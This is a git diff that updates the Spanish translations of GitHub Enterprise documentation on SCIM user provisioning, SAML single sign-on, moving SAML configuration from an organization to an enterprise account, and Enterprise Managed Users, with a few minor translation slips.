+{% data reusables.saml.ae-uses-saml-sso %} Para obtener más información, consulta la sección "[Configurar el incio de sesión único de SAML para tu empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)".
+
+{% data reusables.scim.after-you-configure-saml %} Para obtener más información acerca del SCIM, consulta la sección [Sistema para la Administración de Identidad entre Dominios: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) en el sitio web de IETF.
 
 {% ifversion ghae %}
 
-Configuring provisioning allows your IdP to communicate with {% data variables.product.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.product.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account.
+Configurar el aprovisionamiento le permite a tu IdP comunicarse con {% data variables.product.product_location %} cuando asignas o desasignas la aplicación para {% data variables.product.product_name %} a un usuario en tu IdP. Cuando asignas la aplicación, tu IdP pedirá que {% data variables.product.product_location %} cree una cuenta y enviará un correo electrónico de incorporación al usuario. Cuando desasignas la aplicación, tu IdP se comunicará con {% data variables.product.product_name %} para invalidad cualquier sesión de SAML e inhabilitar la cuenta del miembro.
 
-To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP.
+Para configurar el aprovisionamiento para tu empresa, debes inhabilitar el aprovisionamiento en {% data variables.product.product_name %} y posteriormente instalar y configurar una aplicación de aprovisionamiento en tu IdP.
 
-The provisioning application on your IdP communicates with {% data variables.product.product_name %} via our SCIM API for enterprises. For more information, see "[GitHub Enterprise administration](/rest/reference/enterprise-admin#scim)" in the {% data variables.product.prodname_dotcom %} REST API documentation.
+La aplicación de aprovisionamiento en tu IdP se comunica con {% data variables.product.product_name %} a través de nuestra API de SCIM para empresas. Para obtener más información, consulta la sección "[Adminsitración de GitHub Enterprise](/rest/reference/enterprise-admin#scim)" en la documentación de la API de REST de {% data variables.product.prodname_dotcom %}.
 
 {% endif %}
 
-## Supported identity providers
+## Proveedores de identidad compatibles
 
-The following IdPs are supported for SSO with {% data variables.product.prodname_ghe_managed %}:
+Los siguientes IDP son compatibles con SSO con {% data variables.product.prodname_ghe_managed %}:
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
 {% data reusables.github-ae.saml-idp-table %}
 
-For IdPs that support team mapping, you can assign or unassign the application for {% data variables.product.product_name %} to groups of users in your IdP. These groups are then available to organization owners and team maintainers in {% data variables.product.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+Para los IdP que son compatibles con el mapeo de equipos, puedes asignar o dejar de asignar la aplicación de {% data variables.product.product_name %} a los grupos de usuarios en tu IdP. Estos grupos estarán entonces disponibles para que los propietarios de organización y mantenedores de equipo en {% data variables.product.product_location %} los mapeen a los equipos de {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
-## Prerequisites
+## Prerrequisitos
 
 {% ifversion ghae %}
 
-To automatically provision and deprovision access to {% data variables.product.product_location %} from your IdP, you must first configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+Para aprovisionar y desaprovisionar automáticamente el acceso a {% data variables.product.product_location %} desde tu IdP, primero debes configurar el SSO de SAML cuando inicializas {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
 
-You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}.
+Debes tener acceso administrativo en tu IdP para configurar la aplicación para el aprovisionamiento de usuarios para {% data variables.product.product_name %}.
 
 {% endif %}
 
-## Enabling user provisioning for your enterprise
+## Habilitar el aprovisionamiento de usuarios para tu empresa
 
 {% ifversion ghae %}
 
-1. While signed into {% data variables.product.product_location %} as an enterprise owner, create a personal access token with **admin:enterprise** scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Mientras tengas una sesión activa en {% data variables.product.product_location %} como propietario de empresa, crea un token de acceso personal con el alcance **admin:enterprise**. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
   {% note %}
 
-  **Notes**:
-    - To create the personal access token, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
-    - You'll need this personal access token to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions.
+  **Notas**:
+    - Para crear el token de acceso personal, te recomendamos utilizar la cuenta para el primer propietario empresarial que creaste durante la inicialización. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
+    - Necesitarás que este token de accesopersonal configure la aplicación para SCIM en tu IdP. Almacena el token de manera segura en un administrador de contraseñas hasta que lo necesites nuevamente más adelante en estas instrucciones.
 
   {% endnote %}
   {% warning %}
 
-  **Warning**: If the user account for the enterprise owner who creates the personal access token is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new personal access token and reconfigure provisioning on the IdP.
+  **Advertencia**: Si la cuenta de usuario para el propietario de la empresa que crea el token de acceso personal se desactiva o desaprovisiona, tu IdP ya no aprovisionará ni desaprovisionará cuentas de usuario para tu empresa automáticamente. Otro propietario de empresa deberá crear un token de acceso personal nuevo y reconfigurar el aprovisionamiento en el IdP.
 
   {% endwarning %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**.
-  ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png)
-1. Click **Save**.
-  ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png)
-1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP.
+1. Debajo de "Aprovisionamiento de usuario de SCIM", selecciona **Requerir el aprovisionamiento de usuario de SCIM**. ![Casilla de verificación para "Requerir aprovisionamiento de usuarios de SCIM" dentro de la configuración de seguridad empresarial](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png)
+1. Haz clic en **Save ** (guardar). ![Botón de guardar debajo de "Requerir aprovisionamiento de usuarios de SCIM" dentro de la configuración de seguridad de la empresa](/assets/images/help/enterprises/settings-scim-save.png)
+1. Configura el aprovisionamiento de usuarios en la aplicación para {% data variables.product.product_name %} en tu IdP.
 
-  The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+  Los siguientes IdP proporcionan documentación acerca de cómo configurar el aprovisionamiento para {% data variables.product.product_name %}. Si no se lista tu IdP, por favor, contáctalo para solicitar soporte para {% data variables.product.product_name %}.
 
-  | IdP | More information |
-  | :- | :- |
-  | Azure AD | [Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)."|
-| Okta | (beta) To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."|
+  | IdP      | Más información                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+  |:-------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+  | Azure AD | [Tutorial: Configurar a {% data variables.product.prodname_ghe_managed %} para el aprovisionamiento automático de usuarios](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) en los documentos de Microsoft. Para configurar a Azure AD para {% data variables.product.prodname_ghe_managed %}, consulta la sección "[Configurar la autenticación y aprovisionamiento para tu empresa utilizando Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". |
+  | Okta     | (beta) Para configurar a Okta en {% data variables.product.prodname_ghe_managed %}, consulta la sección "[Configurar el aprovisionamiento y la autenticación en tu empresa utilizando Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)".                                                                                                                                                                                                                                                                  |
 
-  The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.product.product_location %}.
+  La aplicación en tu IdP requiere dos valores para aprovisionar o desaprovisionar las cuentas de usuario en {% data variables.product.product_location %}.
 
-  | Value | Other names | Description | Example |
-  | :- | :- | :- | :- |
-  | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.prodname_ghe_managed %} | <nobr><code>{% data variables.product.api_url_pre %}/scim/v2</nobr></code> |
-  | Shared secret | Personal access token, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | Personal access token you created in step 1 |
+  | Valor              | Otros nombres                           | Descripción                                                                                                           | Ejemplo                                                            |
+  |:------------------ |:--------------------------------------- |:--------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------ |
+  | URL                | URL de inquilino                        | URL para la API de aprovisionamiento de SCIM para tu empresa en {% data variables.product.prodname_ghe_managed %}   | <nobr>`{% data variables.product.api_url_pre %}/scim/v2</nobr>` |
+  | Secreto compartido | Token de acceso personal, token secreto | Toekn para que la aplicación en tu IdP realice las tareas de aprovisionamiento en nombre de un propietario de empresa | Token de acceso personal que creaste en el paso 1                  |
 
 {% endif %}
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md
index 6c6a11fc77..3ecc02a6bf 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing identity and access for your enterprise
-shortTitle: Managing identity and access
-intro: 'You can centrally manage {% ifversion ghae %}accounts and {% endif %}access to your {% ifversion ghae %}enterprise{% elsif ghec %}enterprise''s resources{% endif %} on {% data variables.product.product_name %} with SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM).'
+title: Administrar la identidad y el acceso para tu empresa
+shortTitle: Administrar el acceso y la identidad
+intro: 'Puedes administrar centralmente las {% ifversion ghae %}cuentas y {% endif %}el acceso a tus {% ifversion ghae %}empresas{% elsif ghec %}recursos empresariales{% endif %} en {% data variables.product.product_name %} con el inicio de sesión único de (SSO) de SAML y la Administración de Identidad Entre Dominios (SCIM).'
 versions:
   ghec: '*'
   ghae: '*'
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
index 38a152d10d..25afc09938 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing team synchronization for organizations in your enterprise
 intro: 'Puedes habilitar la sincronización de equipos entre un proveedor de identidad (IdP) y {% data variables.product.product_name %} para permitir que las organizaciones que pertenezcan a tu cuenta empresarial administren la membrecía de equipo a través de grupos de IdP.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage team synchronization for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
index e6e4dd2328..568a84cd3d 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
-title: Switching your SAML configuration from an organization to an enterprise account
-intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Cambiar tu configuración de SAML de una cuenta organizacional a una empresarial
+intro: Aprende sobre las consideraciones especiales y mejores prácticas para reemplazar una configuración de SAML a nivel organizacional con una configuración de SAML a nivel empresarial.
 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
 versions:
   ghec: '*'
@@ -10,37 +9,37 @@ topics:
   - Enterprise
   - Organizations
 type: how_to
-shortTitle: Switching from organization
+shortTitle: Cambiar desde una organización
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
 ---
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML single sign-on for enterprise accounts
+## Acerca del inicio de sesión único de SAML para las cuentas empresariales
 
-{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %}
+{% data reusables.saml.dotcom-saml-explanation %}{% data reusables.saml.about-saml-enterprise-accounts %}
 
-{% data reusables.saml.switching-from-org-to-enterprise %} 
+{% data reusables.saml.switching-from-org-to-enterprise %}
 
-When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account.
+Cuando configuras el SSO de SAML a nivel de organización, cada organización debe configurarse con un inquilino de SSO único en tu IdP, lo cual significa que tus miembros se asociarán con un registro de identidad único de SAML para cada organización con la cual se hayan autenticado exitosamente. Si configuras el SSO de SAML para que se utilice en su lugar en tu empresa, cada miembro de ella tendrá una identidad de SAML que se utilizará para todas las organizaciones que pertenezcan a la cuenta empresarial.
 
-After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account.
+Después de que configures el SSO de SAML para tu cuenta empresarial, la configuración nueva anulará cualquier configuración de SSO de SAML para las organizaciones que pertenezcan a esta cuenta.
 
-Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. 
+No se notificará a los miembros de la empresa cuando un propietario habilite SAML para la cuenta empresarial. Si el SSO de SAML se requirió previamente a nivel organizacional, los miembros no deberían ver una diferencia mayor al navegar directamente a los recursos organizacinales. Se les seguirá pidiendo a los miembros autenticarse por SAML. Si los miembros navegan a los recursos organizacionales a través de su tablero de IdP, necesitarán hacer clic en una sección nueva para la app a nivel empresarial en vez de en la anterior para la de nivel organizacional. Entonces los miembros podrán elegir la organización a la cual quieren navegar.
 
-Any personal access tokens (PATs), SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization.
+Cualquier token de acceso personal (PAT), llave de SSH, {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %} que se hayan autorizado previamente para la organización seguirán autorizadas para esta. Sin embargo, los miembros necesitarán autorizar cualquier PAT, llaves SSH, {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %} que nunca se hayan autorizado para utilizarse con el SSO de SAML en la organización.
 
-SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration.
+El aprovisionamiento de SCIM no es compatible actualmente cuando el SSO de SAML se configura para una cuenta empresarial. Si actualmente estás utilizando SCIM para una organización que pertenece a tu cuenta empresarial, perderás esta funcionalidad cuando cambies a una configuración a nivel empresarial.
 
-You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future.
+No se te requiere eliminar ninguna configuración de SAML a nivel organizacional antes de configurar el SSO de SAML para tu cuenta empresarial, pero deberías considerar hacerlo. Si en algún momento se inhabilita SAML para la cuenta empresarial en el futuro, cualquier configuración de SAML a nivel organizacional tomará efecto. El eliminar las configuraciones a nivel organizacional puede prevenir problemas inesperados en el futuro.
 
-## Switching your SAML configuration from an organization to an enterprise account
+## Cambiar tu configuración de SAML de una cuenta organizacional a una empresarial
 
-1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
-1. Optionally, remove any existing SAML configuration for organizations owned by the enterprise account. To help you decide whether to remove the configurations, see "[About SAML single sign-on for enterprise accounts](#about-saml-single-sign-on-for-enterprise-accounts)."
-1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP.
-1. Advise your enterprise members about the change.
-   -  Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account.
-   - Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
-   - Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-and-saml-sso)."
+1. Requerir el SSO de SAML para tu cuenta empresarial, asegurándote de que todos los miembros organizacionales se asignen o se les de acceso a la app del IdP que se utiliza para la cuenta empresarial. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
+1. Opcionalmente, elimina cualquier configuración existente de SAML para las organizaciones que pertenecen a la cuenta empresarial. Para ayudarte a decidir si quieres eliminar o no las configuraciones, consulta la sección "[Acerca del inicio de sesión único de SAML para las cuentas empresariales](#about-saml-single-sign-on-for-enterprise-accounts)".
+1. Si mantuviste activa cualquier configuración de SAML a nivel organizacional, para prevenir la confusión, considera ocultar la sección en las apps a nivel organizacional en tu IdP.
+1. Notifica a los miembros de tu empresa sobre este cambio.
+   -  Los miembros ya no podrán acceder a las organizaciones si hacen clic en la app de SAML de la organización en el tablero del IdP. Necesitarán utilizar la app nueva que se configuró para la cuenta empresarial.
+   - Los miembros necesitarán autorizar cualquier PAT o llave SSH que no se hayan autorizado antes para utilizarlos con el SSO de SAML en su organización. Para obtener más información, consulta las secciones "[Autorizar que un token de acceso personal se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" y "[Autorizar a una llave SSH para que se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)".
+   - Los miembros podrían necesitar volver a autorizar las {% data variables.product.prodname_oauth_apps %} que se autorizaran anteriormente en la organización. Para obtener más información, consulta la sección "[Acerca de la autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-and-saml-sso)".
diff --git a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
index 2700c6ee2e..120c489d0a 100644
--- a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
+++ b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
@@ -1,7 +1,7 @@
 ---
-title: About Enterprise Managed Users
-shortTitle: About managed users
-intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.'
+title: Acerca de los Usuarios Administrados Empresariales
+shortTitle: Acerca de los usuarios administrados
+intro: 'Puedes administrar centralmente la identidad y el acceso para los miembros de tu empresa en {% data variables.product.prodname_dotcom %} desde tu proveedor de identidad.'
 product: '{% data reusables.gated-features.emus %}'
 redirect_from:
   - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise
@@ -16,54 +16,54 @@ topics:
   - SSO
 ---
 
-## About {% data variables.product.prodname_emus %}
+## Acerca de {% data variables.product.prodname_emus %}
 
-With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP.
+Con {% data variables.product.prodname_emus %}, puedes controlar las cuentas de usuario de los miembros de tu empresa a través de tu proveedor de identidad (IdP). Puedes simplificar la autenticación con el inicio de sesión único (SSO) de SAML y aprovisionar, actualizar y desaprovisionar las cuentas de usuario de tus miembros empresariales. Los usuarios que se asignen a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP se aprovisionarán como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y se agregarán a tu empresa. Tú controlas los nombres de usuario, datos de perfil, membrecía de equipo y acceso al repositorio desde tu IdP.
 
-In your IdP, you can give each {% data variables.product.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.product.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.product.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+En tu IdP, puedes dar a cada {% data variables.product.prodname_managed_user %} el rol de usuario, propietario de la empresa o gerente de facturación. {% data variables.product.prodname_managed_users_caps %} puede ser propietario de organizaciones dentro de tu empresa y puede agregar a otros {% data variables.product.prodname_managed_users %} a las organizaciones y equipos dentro de ella. Para obtener más información, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
 
-You can also manage team membership within an organization in your enterprise directly through your IdP, allowing you to manage repository access using groups in your IdP. Organization membership can be managed manually or updated automatically as {% data variables.product.prodname_managed_users %} are added to teams within the organization. For more information, see "[Managing team memberships with identity provider groups](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
+También puedes administrar la membrecía de equipo dentro de una organización en tu empresa directamente desde tu IdP, lo cual te permite administrar el acceso al repositorio utilizando grupos en tu IdP. La membrecía de la organización puede administrarse manualmente o actualizarse automáticamente conforme se agreguen {% data variables.product.prodname_managed_users %} a los equipos dentro de dicha organización. Para obtener más información, consulta la sección "[Administrar las membrecías de equipo con los grupos de proveedor de identidades](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)".
 
-You can grant {% data variables.product.prodname_managed_users %} access and the ability to contribute to repositories within your enterprise, but {% data variables.product.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. The {% data variables.product.prodname_managed_users %} provisioned for your enterprise cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.product.prodname_managed_users %} be invited to other enterprises. Outside collaborators are not supported by {% data variables.product.prodname_emus %}.
+Puedes otorgar acceso a los {% data variables.product.prodname_managed_users %}, así como la habilidad de contribuir con los repositorios dentro de tu empresa, pero los {% data variables.product.prodname_managed_users %} no pueden crear contenido público ni colaborar con otros usuarios, organizaciones y empresas en el resto de {% data variables.product.prodname_dotcom %}. No se puede invitar a los {% data variables.product.prodname_managed_users %} que se aprovisionaron para tu empresa para que se unan a organizaciones o repositorios fuera de esta, ni se puede invitar a los {% data variables.product.prodname_managed_users %} a otras empresas. Los colaboradores externos no son compatibles con los {% data variables.product.prodname_emus %}.
 
-The usernames of your enterprise's {% data variables.product.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
+El nombre de usuario de los {% data variables.product.prodname_managed_users %} de tu empresa y su información de perfil, tal como los nombres y direcciones de correo electrónico que se muestran, se configuran mediante tu IdP y no pueden cambiarlos los mismos usuarios. Para obtener más información, consulta la sección "[Nombres de usuario e información de perfil](#usernames-and-profile-information)".
 
 {% data reusables.enterprise-accounts.emu-forks %}
 
-Enterprise owners can audit all of the {% data variables.product.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}.
+Los propietarios de las empresas pueden auditar todas las acciones de los {% data variables.product.prodname_managed_users %} en {% data variables.product.prodname_dotcom %}.
 
-To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)."
+Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para obtener más información sobre cómo crear esta cuenta, consulta la sección "[Acerca de las empresas con usuarios administrados](#about-enterprises-with-managed-users)".
 
 
-## Identity provider support
+## Soporte del proveedor de identidad
 
-{% data variables.product.prodname_emus %} supports the following IdPs:
+{% data variables.product.prodname_emus %} es compatible con los siguientes IdP:
 
 {% data reusables.enterprise-accounts.emu-supported-idps %}
 
-## Abilities and restrictions of {% data variables.product.prodname_managed_users %}
+## Habilidades y restricciones de los {% data variables.product.prodname_managed_users %}
 
-{% data variables.product.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.product.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community.
+Los {% data variables.product.prodname_managed_users_caps %} solo pueden colaborar en los repositorios privados e internos dentro de su empresa y con los repositorios que pertenecen a su cuenta de usuario. Los {% data variables.product.prodname_managed_users_caps %} tienen acceso de solo lectura al resto de la comunidad de {% data variables.product.prodname_dotcom %}.
 
-* {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
+* Los {% data variables.product.prodname_managed_users_caps %} no pueden crear propuestas ni solicitudes de cambios, comentar o agregar reacciones, ni marcar como favoritos u observar o bifurcar repositorios fuera de la empresa.
 * {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. 
-* {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists.
-* {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
-* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate.
-* {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories.
-* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. 
+* Solo otros miembros de la empresa pueden ver a los {% data variables.product.prodname_managed_users_caps %} y al contenido que estos crean.
+* Los {% data variables.product.prodname_managed_users_caps %} no pueden seguir a usuarios que estén fuera de la empresa.
+* Los {% data variables.product.prodname_managed_users_caps %} no pueden crear gists o comentar en ellos.
